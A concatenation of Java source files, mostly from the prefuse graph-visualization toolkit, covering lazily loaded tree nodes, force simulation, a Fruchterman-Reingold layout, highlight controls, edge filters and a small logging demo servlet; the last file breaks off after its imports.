public class ExternalTreeNode extends DefaultTreeNode implements ExternalEntity {
protected static final int LOAD_CHILDREN = 1;
protected static final int LOAD_PARENT = 2;
protected static final int LOAD_ALL = LOAD_CHILDREN | LOAD_PARENT;
protected GraphLoader m_loader;
protected boolean m_ploaded = false;
protected boolean m_ploadStarted = false;
protected boolean m_loaded = false;
protected boolean m_loadStarted = false;
protected void checkLoadedStatus(int type) {
touch();
if ( (type & LOAD_CHILDREN) > 0 && !m_loadStarted ) {
m_loadStarted = true;
m_loader.loadChildren(this);
}
if ( (type & LOAD_PARENT) > 0 && !m_ploadStarted ) {
m_ploadStarted = true;
m_loader.loadParent(this);
}
} //
public void setLoader(GraphLoader gl) {
m_loader = gl;
} //
void setChildrenLoaded(boolean s) {
m_loaded = s;
m_loadStarted = s;
} //
void setParentLoaded(boolean s) {
m_ploaded = s;
m_ploadStarted = s;
}
public boolean isParentLoaded() {
return m_ploaded;
} //
public boolean isChildrenLoaded() {
return m_loaded;
} //
public void touch() {
m_loader.touch(this);
} //
public void unload() {
Iterator iter;
if ( m_children != null ) {
iter = m_children.iterator();
while ( iter.hasNext() ) {
Edge e = (Edge)iter.next();
TreeNode n = (TreeNode)e.getAdjacentNode(this);
n.removeAsChild(this);
if ( n instanceof ExternalTreeNode )
((ExternalTreeNode)n).setParentLoaded(false);
}
m_children.clear();
}
m_parent.removeChild(this);
if ( m_parent instanceof ExternalTreeNode )
((ExternalTreeNode)m_parent).setChildrenLoaded(false);
m_parent = null;
m_parentEdge = null;
iter = m_edges.iterator();
while ( iter.hasNext() ) {
Edge e = (Edge)iter.next();
Node n = e.getAdjacentNode(this);
n.removeEdge(e);
}
m_edges.clear();
} //
// ========================================================================
// == PROXIED TREE NODE METHODS ===========================================
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#addChild(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addChild(Edge e) {
touch();
return super.addChild(e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#addChild(int, edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addChild(int idx, Edge e) {
touch();
return super.addChild(idx, e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChild(int)
*/
public TreeNode getChild(int idx) {
checkLoadedStatus(LOAD_CHILDREN);
return super.getChild(idx);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildCount()
*/
public int getChildCount() {
touch();
return super.getChildCount();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildEdge(int)
*/
public Edge getChildEdge(int i) {
checkLoadedStatus(LOAD_CHILDREN);
return super.getChildEdge(i);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildEdges()
*/
public Iterator getChildEdges() {
checkLoadedStatus(LOAD_CHILDREN);
return super.getChildEdges();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildIndex(edu.berkeley.guir.prefuse.graph.Edge)
*/
public int getChildIndex(Edge e) {
touch();
return super.getChildIndex(e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildIndex(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public int getChildIndex(TreeNode c) {
touch();
return super.getChildIndex(c);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildren()
*/
public Iterator getChildren() {
checkLoadedStatus(LOAD_CHILDREN);
return super.getChildren();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getNextSibling()
*/
public TreeNode getNextSibling() {
checkLoadedStatus(LOAD_PARENT);
return super.getNextSibling();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getDescendantCount()
*/
public int getDescendantCount() {
touch();
return super.getDescendantCount();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getParent()
*/
public TreeNode getParent() {
checkLoadedStatus(LOAD_PARENT);
return super.getParent();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getParentEdge()
*/
public Edge getParentEdge() {
checkLoadedStatus(LOAD_PARENT);
return super.getParentEdge();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getPreviousSibling()
*/
public TreeNode getPreviousSibling() {
checkLoadedStatus(LOAD_PARENT);
return super.getPreviousSibling();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#isChild(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean isChild(TreeNode c) {
touch();
return super.isChild(c);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#isChildEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean isChildEdge(Edge e) {
touch();
return super.isChildEdge(e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#isDescendant(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean isDescendant(TreeNode n) {
touch();
return super.isDescendant(n);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#isSibling(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean isSibling(TreeNode n) {
checkLoadedStatus(LOAD_PARENT);
return super.isSibling(n);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeAllAsChildren()
*/
public void removeAllAsChildren() {
touch();
super.removeAllAsChildren();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeAllChildren()
*/
public void removeAllChildren() {
touch();
super.removeAllChildren();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeAsChild(int)
*/
public TreeNode removeAsChild(int idx) {
touch();
return super.removeAsChild(idx);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeAsChild(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean removeAsChild(TreeNode n) {
touch();
return super.removeAsChild(n);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeChild(int)
*/
public TreeNode removeChild(int idx) {
touch();
return super.removeChild(idx);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeChild(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean removeChild(TreeNode n) {
touch();
return super.removeChild(n);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeChildEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean removeChildEdge(Edge e) {
touch();
return super.removeChildEdge(e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeChildEdge(int)
*/
public Edge removeChildEdge(int idx) {
touch();
return super.removeChildEdge(idx);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#setAsChild(int, edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean setAsChild(int idx, TreeNode c) {
touch();
return super.setAsChild(idx,c);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#setAsChild(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean setAsChild(TreeNode c) {
touch();
return super.setAsChild(c);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#setDescendantCount(int)
*/
public void setDescendantCount(int count) {
touch();
super.setDescendantCount(count);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#setParentEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public void setParentEdge(Edge e) {
touch();
super.setParentEdge(e);
} //
// ========================================================================
// == PROXIED NODE METHODS ================================================
/**
* @see edu.berkeley.guir.prefuse.graph.Node#addEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addEdge(Edge e) {
touch();
return super.addEdge(e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#addEdge(int, edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addEdge(int i, Edge e) {
touch();
return super.addEdge(i,e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#getEdge(int)
*/
public Edge getEdge(int i) {
checkLoadedStatus(LOAD_ALL);
return super.getEdge(i);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#getEdge(edu.berkeley.guir.prefuse.graph.Node)
*/
public Edge getEdge(Node n) {
checkLoadedStatus(LOAD_ALL);
return super.getEdge(n);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#getEdgeCount()
*/
public int getEdgeCount() {
touch();
return super.getEdgeCount();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#getEdges()
*/
public Iterator getEdges() {
checkLoadedStatus(LOAD_ALL);
return super.getEdges();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#getIndex(edu.berkeley.guir.prefuse.graph.Edge)
*/
public int getIndex(Edge e) {
touch();
return super.getIndex(e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#getIndex(edu.berkeley.guir.prefuse.graph.Node)
*/
public int getIndex(Node n) {
touch();
return super.getIndex(n);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#getNeighbor(int)
*/
public Node getNeighbor(int i) {
checkLoadedStatus(LOAD_ALL);
return super.getNeighbor(i);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#getNeighbors()
*/
public Iterator getNeighbors() {
checkLoadedStatus(LOAD_ALL);
return super.getNeighbors();
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#isIncidentEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean isIncidentEdge(Edge e) {
touch();
return super.isIncidentEdge(e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#isNeighbor(edu.berkeley.guir.prefuse.graph.Node)
*/
public boolean isNeighbor(Node n) {
touch();
return super.isNeighbor(n);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#removeEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean removeEdge(Edge e) {
touch();
return super.removeEdge(e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#removeEdge(int)
*/
public Edge removeEdge(int i) {
touch();
return super.removeEdge(i);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#removeNeighbor(int)
*/
public Node removeNeighbor(int i) {
touch();
return super.removeNeighbor(i);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Node#removeNeighbor(edu.berkeley.guir.prefuse.graph.Node)
*/
public boolean removeNeighbor(Node n) {
touch();
return super.removeNeighbor(n);
} //
} // end of class ExternalTreeNode
<file_sep>package edu.berkeley.guir.prefuse.action.assignment;
import java.awt.Font;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.VisualItem;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.action.AbstractAction;
import edu.berkeley.guir.prefuse.util.FontLib;
/**
* Simple <code>FontFunction</code> that blindly returns a null
* <code>Font</code> for all items. Subclasses should override the
* <code>getFont()</code> method to provide custom Font assignment
* for VisualItems.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class FontFunction extends AbstractAction {
protected Font defaultFont = FontLib.getFont("SansSerif",Font.PLAIN,10);
public FontFunction() {
// do nothing
} //
public FontFunction(Font defaultFont) {
this.defaultFont = defaultFont;
} //
public void run(ItemRegistry registry, double frac) {
Iterator itemIter = registry.getItems();
while ( itemIter.hasNext() ) {
VisualItem item = (VisualItem)itemIter.next();
Font font = getFont(item);
item.setFont(font);
}
} //
public void setDefaultFont(Font f) {
defaultFont = f;
} //
/**
* Returns the Font to use for a given VisualItem. Subclasses should
* override this method to perform customized font assignment.
* @param item the VisualItem for which to get the Font
* @return the Font for the given item
*/
public Font getFont(VisualItem item) {
return defaultFont;
} //
} // end of class FontFunction
<file_sep>package edu.berkeley.guir.prefuse.graph.event;
import java.util.EventListener;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Graph;
import edu.berkeley.guir.prefuse.graph.Node;
/**
* A listener interface for monitoring changes to a graph structure.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public interface GraphEventListener extends EventListener {
public void nodeAdded(Graph g, Node n);
public void nodeRemoved(Graph g, Node n);
public void nodeReplaced(Graph g, Node o, Node n);
public void edgeAdded(Graph g, Edge e);
public void edgeRemoved(Graph g, Edge e);
public void edgeReplaced(Graph g, Edge o, Edge n);
} // end of interface GraphEventListener
<file_sep>package edu.berkeley.guir.prefusex.force;
/**
* Abstract implementation of force functions in a force simulation. This
* skeletal version provides support for storing and retrieving float-valued
* parameters of the force function. Subclasses should use the protected
* field <code>params</code> to store parameter values.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefusex(AT)jheer.org
*/
public abstract class AbstractForce implements Force {
protected float[] params;
/**
* Initialize this force function. This default implementation does nothing.
* Subclasses should override this method with any needed initialization.
* @param fsim the encompassing ForceSimulator
*/
public void init(ForceSimulator fsim) {
// do nothing.
} //
public int getParameterCount() {
return ( params == null ? 0 : params.length );
} //
public float getParameter(int i) {
if ( i < 0 || params == null || i >= params.length ) {
throw new IndexOutOfBoundsException();
} else {
return params[i];
}
} //
public String getParameterName(int i) {
String[] pnames = getParameterNames();
if ( i < 0 || pnames == null || i >= pnames.length ) {
throw new IndexOutOfBoundsException();
} else {
return pnames[i];
}
} //
public void setParameter(int i, float val) {
if ( i < 0 || params == null || i >= params.length ) {
throw new IndexOutOfBoundsException();
} else {
params[i] = val;
}
} //
protected abstract String[] getParameterNames();
public boolean isItemForce() {
return false;
} //
public boolean isSpringForce() {
return false;
} //
public void getForce(ForceItem item) {
throw new UnsupportedOperationException(
"This class does not support this operation");
} //
public void getForce(Spring spring) {
throw new UnsupportedOperationException(
"This class does not support this operation");
} //
} // end of abstract class AbstractForce<file_sep>package edu.berkeley.guir.prefuse.graph.io;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import edu.berkeley.guir.prefuse.graph.Graph;
/**
* Abstract class supporting GraphWriter implementations.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public abstract class AbstractGraphWriter implements GraphWriter {
/**
* @see edu.berkeley.guir.prefuse.graph.io.GraphWriter#writeGraph(edu.berkeley.guir.prefuse.graph.Graph, java.lang.String)
*/
public void writeGraph(Graph g, String filename)
throws FileNotFoundException, IOException
{
writeGraph(g, new FileOutputStream(filename));
} //
/**
* @see edu.berkeley.guir.prefuse.graph.io.GraphWriter#writeGraph(edu.berkeley.guir.prefuse.graph.Graph, java.io.File)
*/
public void writeGraph(Graph g, File f) throws FileNotFoundException, IOException {
writeGraph(g, new FileOutputStream(f));
} //
/**
* @see edu.berkeley.guir.prefuse.graph.io.GraphWriter#writeGraph(edu.berkeley.guir.prefuse.graph.Graph, java.io.OutputStream)
*/
public abstract void writeGraph(Graph g, OutputStream is) throws IOException;
} // end of class AbstractGraphWriter
<file_sep>package edu.berkeley.guir.prefusex.controls;
import java.awt.event.MouseEvent;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.EdgeItem;
import edu.berkeley.guir.prefuse.VisualItem;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.NodeItem;
import edu.berkeley.guir.prefuse.activity.Activity;
import edu.berkeley.guir.prefuse.event.ControlAdapter;
/**
* <p>
* A ControlListener that sets the highlighted status (using the
* {@link edu.berkeley.guir.prefuse.VisualItem#setHighlighted(boolean)
* VisualItem.setHighlighted} method) for nodes neighboring the node
* currently under the mouse pointer. The highlight flag can then be used
* by a color function to change node appearance as desired.
* </p>
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class NeighborHighlightControl extends ControlAdapter {
private Activity update = null;
private boolean highlightWithInvisibleEdge = false;
/**
* Creates a new highlight control.
*/
public NeighborHighlightControl() {
this(null);
} //
/**
* Creates a new highlight control that runs the given activity
* whenever the neighbor highlight changes.
* @param update the update Activity to run
*/
public NeighborHighlightControl(Activity update) {
this.update = update;
} //
public void itemEntered(VisualItem item, MouseEvent e) {
if ( item instanceof NodeItem )
setNeighborHighlight((NodeItem)item, true);
} //
public void itemExited(VisualItem item, MouseEvent e) {
if ( item instanceof NodeItem )
setNeighborHighlight((NodeItem)item, false);
} //
public void setNeighborHighlight(NodeItem n, boolean state) {
ItemRegistry registry = n.getItemRegistry();
synchronized ( registry ) {
Iterator iter = n.getEdges();
while ( iter.hasNext() ) {
EdgeItem eitem = (EdgeItem)iter.next();
NodeItem nitem = (NodeItem)eitem.getAdjacentNode(n);
if (eitem.isVisible() || highlightWithInvisibleEdge) {
eitem.setHighlighted(state);
registry.touch(eitem.getItemClass());
nitem.setHighlighted(state);
registry.touch(nitem.getItemClass());
}
}
}
if ( update != null )
update.runNow();
} //
/**
* Indicates if neighbor nodes with edges currently not visible still
* get highlighted.
* @return true if neighbors with invisible edges still get highlighted,
* false otherwise.
*/
public boolean isHighlightWithInvisibleEdge() {
return highlightWithInvisibleEdge;
} //
/**
* Determines if neighbor nodes with edges currently not visible still
* get highlighted.
* @param highlightWithInvisibleEdge assign true if neighbors with invisible
* edges should still get highlighted, false otherwise.
*/
public void setHighlightWithInvisibleEdge(boolean highlightWithInvisibleEdge) {
this.highlightWithInvisibleEdge = highlightWithInvisibleEdge;
} //
} // end of class NeighborHighlightControl
<file_sep>package vizbook.web.demo;
import java.io.IOException;
import java.io.Writer;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import vizbook.web.WebLoggingTask;
@SuppressWarnings("serial")
@WebServlet("/LogDemo")
public class LogDemoServlet extends HttpServlet {
private final String TASK_NAME = "WebLoggingTask";
public LogDemoServlet() {
super();
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
updateWebLog(request.getSession(), response.getWriter());
}
//TODO: move this to a base class
private void updateWebLog(HttpSession session, Writer writer) throws IOException {
if(session.getAttribute(TASK_NAME) == null) {
WebLoggingTask task = new RandomLogger();
session.setAttribute(TASK_NAME, task);
task.start();
}
WebLoggingTask task = (WebLoggingTask) session.getAttribute(TASK_NAME);
if(!task.isDone())
writer.write(task.getLog());
else
writer.write("Done!");
}
}
<file_sep>package edu.berkeley.guir.prefusex.layout;
import java.awt.geom.Rectangle2D;
import java.util.Iterator;
import java.util.Random;
import edu.berkeley.guir.prefuse.EdgeItem;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.NodeItem;
import edu.berkeley.guir.prefuse.VisualItem;
import edu.berkeley.guir.prefuse.action.assignment.Layout;
import edu.berkeley.guir.prefuse.graph.Graph;
/**
* Implements the Fruchterman-Reingold algorithm for node layout.
*
* Ported from the implementation in the <a href="http://jung.sourceforge.net/">JUNG</a> framework.
*
* @author <NAME>, <NAME>, <NAME>
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org</a>
*/
public class FruchtermanReingoldLayout extends Layout {
private double forceConstant;
private double temp;
private int maxIter = 700;
private static final double EPSILON = 0.000001D;
private static final double ALPHA = 0.1;
public FruchtermanReingoldLayout() {
this(700);
} //
public FruchtermanReingoldLayout(int maxIter) {
this.maxIter = maxIter;
} //
public int getMaxIterations() {
return maxIter;
} //
public void setMaxIterations(int maxIter) {
this.maxIter = maxIter;
} //
/**
* @see edu.berkeley.guir.prefuse.action.Action#run(edu.berkeley.guir.prefuse.ItemRegistry, double)
*/
public void run(ItemRegistry registry, double frac) {
Graph g = registry.getFilteredGraph();
Rectangle2D bounds = super.getLayoutBounds(registry);
init(g, bounds);
for (int curIter=0; curIter < maxIter; curIter++ ) {
// Calculate repulsion
for (Iterator iter = g.getNodes(); iter.hasNext();) {
NodeItem n = (NodeItem)iter.next();
if (n.isFixed()) continue;
calcRepulsion(g, n);
}
// Calculate attraction
for (Iterator iter = g.getEdges(); iter.hasNext();) {
EdgeItem e = (EdgeItem) iter.next();
calcAttraction(e);
}
double cumulativeChange = 0;
for (Iterator iter = g.getNodes(); iter.hasNext();) {
NodeItem n = (NodeItem)iter.next();
if (n.isFixed()) continue;
calcPositions(n,bounds);
}
cool(curIter);
}
finish(g);
} //
private void init(Graph g, Rectangle2D b) {
temp = b.getWidth() / 10;
forceConstant = 0.75 *
Math.sqrt(b.getHeight()*b.getWidth()/g.getNodeCount());
// initialize node positions
Iterator nodeIter = g.getNodes();
Random rand = new Random(42); // get a deterministic layout result
double scaleW = ALPHA*b.getWidth()/2;
double scaleH = ALPHA*b.getHeight()/2;
while ( nodeIter.hasNext() ) {
NodeItem n = (NodeItem)nodeIter.next();
FRParams np = getParams(n);
np.loc[0] = b.getCenterX() + rand.nextDouble()*scaleW;
np.loc[1] = b.getCenterY() + rand.nextDouble()*scaleH;
}
} //
private void finish(Graph g) {
Iterator nodeIter = g.getNodes();
while ( nodeIter.hasNext() ) {
NodeItem n = (NodeItem)nodeIter.next();
FRParams np = getParams(n);
this.setLocation(n,null,np.loc[0],np.loc[1]);
}
} //
public void calcPositions(NodeItem n, Rectangle2D b) {
FRParams np = getParams(n);
double deltaLength = Math.max(EPSILON,
Math.sqrt(np.disp[0]*np.disp[0] + np.disp[1]*np.disp[1]));
double xDisp = np.disp[0]/deltaLength * Math.min(deltaLength, temp);
if (Double.isNaN(xDisp)) {
System.err.println("Mathematical error... (calcPositions:xDisp)");
}
double yDisp = np.disp[1]/deltaLength * Math.min(deltaLength, temp);
np.loc[0] += xDisp;
np.loc[1] += yDisp;
// don't let nodes leave the display
double borderWidth = b.getWidth() / 50.0;
double x = np.loc[0];
if (x < b.getMinX() + borderWidth) {
x = b.getMinX() + borderWidth + Math.random() * borderWidth * 2.0;
} else if (x > (b.getMaxX() - borderWidth)) {
x = b.getMaxX() - borderWidth - Math.random() * borderWidth * 2.0;
}
double y = np.loc[1];
if (y < b.getMinY() + borderWidth) {
y = b.getMinY() + borderWidth + Math.random() * borderWidth * 2.0;
} else if (y > (b.getMaxY() - borderWidth)) {
y = b.getMaxY() - borderWidth - Math.random() * borderWidth * 2.0;
}
np.loc[0] = x;
np.loc[1] = y;
} //
public void calcAttraction(EdgeItem e) {
NodeItem n1 = (NodeItem)e.getFirstNode();
FRParams n1p = getParams(n1);
NodeItem n2 = (NodeItem)e.getSecondNode();
FRParams n2p = getParams(n2);
double xDelta = n1p.loc[0] - n2p.loc[0];
double yDelta = n1p.loc[1] - n2p.loc[1];
double deltaLength = Math.max(EPSILON,
Math.sqrt(xDelta*xDelta + yDelta*yDelta));
double force = (deltaLength*deltaLength) / forceConstant;
if (Double.isNaN(force)) {
System.err.println("Mathematical error...");
}
double xDisp = (xDelta/deltaLength) * force;
double yDisp = (yDelta/deltaLength) * force;
n1p.disp[0] -= xDisp; n1p.disp[1] -= yDisp;
n2p.disp[0] += xDisp; n2p.disp[1] += yDisp;
} //
public void calcRepulsion(Graph g, NodeItem n1) {
FRParams np = getParams(n1);
np.disp[0] = 0.0; np.disp[1] = 0.0;
for (Iterator iter2 = g.getNodes(); iter2.hasNext();) {
NodeItem n2 = (NodeItem) iter2.next();
FRParams n2p = getParams(n2);
if (n2.isFixed()) continue;
if (n1 != n2) {
double xDelta = np.loc[0] - n2p.loc[0];
double yDelta = np.loc[1] - n2p.loc[1];
double deltaLength = Math.max(EPSILON,
Math.sqrt(xDelta*xDelta + yDelta*yDelta));
double force = (forceConstant*forceConstant) / deltaLength;
if (Double.isNaN(force)) {
System.err.println("Mathematical error...");
}
np.disp[0] += (xDelta/deltaLength)*force;
np.disp[1] += (yDelta/deltaLength)*force;
}
}
} //
private void cool(int curIter) {
temp *= (1.0 - curIter / (double) maxIter);
} //
private FRParams getParams(VisualItem item) {
FRParams rp = (FRParams)item.getVizAttribute("frParams");
if ( rp == null ) {
rp = new FRParams();
item.setVizAttribute("frParams", rp);
}
return rp;
} //
public class FRParams {
double[] loc = new double[2];
double[] disp = new double[2];
} //
} // end of class FruchtermanReingoldLayout
<file_sep>package edu.berkeley.guir.prefuse.graph.external;
import edu.berkeley.guir.prefuse.graph.Node;
/**
*
* Mar 11, 2004 - jheer - Created class
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public interface ExternalEntity extends Node {
public void setLoader(GraphLoader loader);
public void unload();
public void touch();
} // end of interface
<file_sep>package edu.berkeley.guir.prefusex.force;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
/**
* Manages a simulation of physical forces acting on bodies. To create a
* custom ForceSimulator, add the desired force functions and choose an
* appropriate integrator.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class ForceSimulator {
private Set items;
private Set springs;
private Force[] iforces;
private Force[] sforces;
private int iflen, sflen;
private Integrator integrator;
private float speedLimit = 1.0f;
public ForceSimulator() {
this(new RungeKuttaIntegrator());
} //
public ForceSimulator(Integrator integr) {
integrator = integr;
iforces = new Force[5];
sforces = new Force[5];
iflen = 0;
sflen = 0;
items = new HashSet();
springs = new HashSet();
} //
public float getSpeedLimit() {
return speedLimit;
} //
public void setSpeedLimit(float limit) {
speedLimit = limit;
} //
public Integrator getIntegrator() {
return integrator;
} //
public void setIntegrator(Integrator intgr) {
integrator = intgr;
} //
public void clear() {
items.clear();
Iterator siter = springs.iterator();
Spring.SpringFactory f = Spring.getFactory();
while ( siter.hasNext() )
f.reclaim((Spring)siter.next());
springs.clear();
} //
public void addForce(Force f) {
if ( f.isItemForce() ) {
if ( iforces.length == iflen ) {
// resize necessary
Force[] newf = new Force[iflen+10];
System.arraycopy(iforces, 0, newf, 0, iforces.length);
iforces = newf;
}
iforces[iflen++] = f;
}
if ( f.isSpringForce() ) {
if ( sforces.length == sflen ) {
// resize necessary
Force[] newf = new Force[sflen+10];
System.arraycopy(sforces, 0, newf, 0, sforces.length);
sforces = newf;
}
sforces[sflen++] = f;
}
} //
public Force[] getForces() {
Force[] rv = new Force[iflen+sflen];
System.arraycopy(iforces, 0, rv, 0, iflen);
System.arraycopy(sforces, 0, rv, iflen, sflen);
return rv;
} //
public void addItem(ForceItem item) {
items.add(item);
} //
public boolean removeItem(ForceItem item) {
return items.remove(item);
} //
public Iterator getItems() {
return items.iterator();
} //
public Spring addSpring(ForceItem item1, ForceItem item2) {
return addSpring(item1, item2, -1.f, -1.f);
} //
public Spring addSpring(ForceItem item1, ForceItem item2, float length) {
return addSpring(item1, item2, -1.f, length);
} //
public Spring addSpring(ForceItem item1, ForceItem item2, float coeff, float length) {
if ( item1 == null || item2 == null )
throw new IllegalArgumentException("ForceItems must be non-null");
Spring s = Spring.getFactory().getSpring(item1, item2, coeff, length);
springs.add(s);
return s;
} //
public boolean removeSpring(Spring s) {
return springs.remove(s);
}
public Iterator getSprings() {
return springs.iterator();
} //
public void runSimulator(long timestep) {
accumulate();
integrator.integrate(this, timestep);
} //
/**
* Accumulate all forces acting on the items in this simulation
*/
public void accumulate() {
for ( int i = 0; i < iflen; i++ )
iforces[i].init(this);
for ( int i = 0; i < sflen; i++ )
sforces[i].init(this);
Iterator itemIter = items.iterator();
while ( itemIter.hasNext() ) {
ForceItem item = (ForceItem)itemIter.next();
item.force[0] = 0.0f; item.force[1] = 0.0f;
for ( int i = 0; i < iflen; i++ )
iforces[i].getForce(item);
}
Iterator springIter = springs.iterator();
while ( springIter.hasNext() ) {
Spring s = (Spring)springIter.next();
for ( int i = 0; i < sflen; i++ ) {
sforces[i].getForce(s);
}
}
} //
} // end of class ForceSimulator
<file_sep>package edu.berkeley.guir.prefuse.action.filter;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.EdgeItem;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.NodeItem;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.TreeNode;
/**
* The TreeEdgeFilter determines which edges to visualize based on the nodes
* selected for visualization and the underlying tree structure. By default,
* garbage collection on edge items is performed.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class TreeEdgeFilter extends Filter {
private boolean m_edgesVisible;
/**
* Filters tree edges, connecting filtered graph nodes into a
* tree structure. Filtered edges are visible by default.
*/
public TreeEdgeFilter() {
this(true);
} //
/**
* Filters tree edges, connecting filtered graph nodes into a
* tree structure. DefaultEdge visibility can be controlled.
* @param edgesVisible determines whether or not the filtered
* edges are visible in the display.
*/
public TreeEdgeFilter(boolean edgesVisible) {
super(ItemRegistry.DEFAULT_EDGE_CLASS, true);
m_edgesVisible = edgesVisible;
} //
public void run(ItemRegistry registry, double frac) {
Iterator nodeIter = registry.getNodeItems();
while ( nodeIter.hasNext() ) {
NodeItem nitem = (NodeItem)nodeIter.next();
TreeNode node = (TreeNode)registry.getEntity(nitem);
if ( node.getChildCount() > 0 ) {
Iterator iter = node.getChildEdges();
while ( iter.hasNext() ) {
Edge e = (Edge)iter.next();
TreeNode c = (TreeNode)e.getAdjacentNode(node);
if ( registry.isVisible(c) ) {
EdgeItem eitem = registry.getEdgeItem(e,true);
nitem.addChild(eitem);
if ( !m_edgesVisible ) eitem.setVisible(false);
}
}
}
}
// optionally perform garbage collection
super.run(registry, frac);
} //
} // end of class TreeEdgeFilter
<file_sep>package edu.berkeley.guir.prefuse.action.filter;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import edu.berkeley.guir.prefuse.EdgeItem;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.NodeItem;
import edu.berkeley.guir.prefuse.graph.DefaultTree;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Graph;
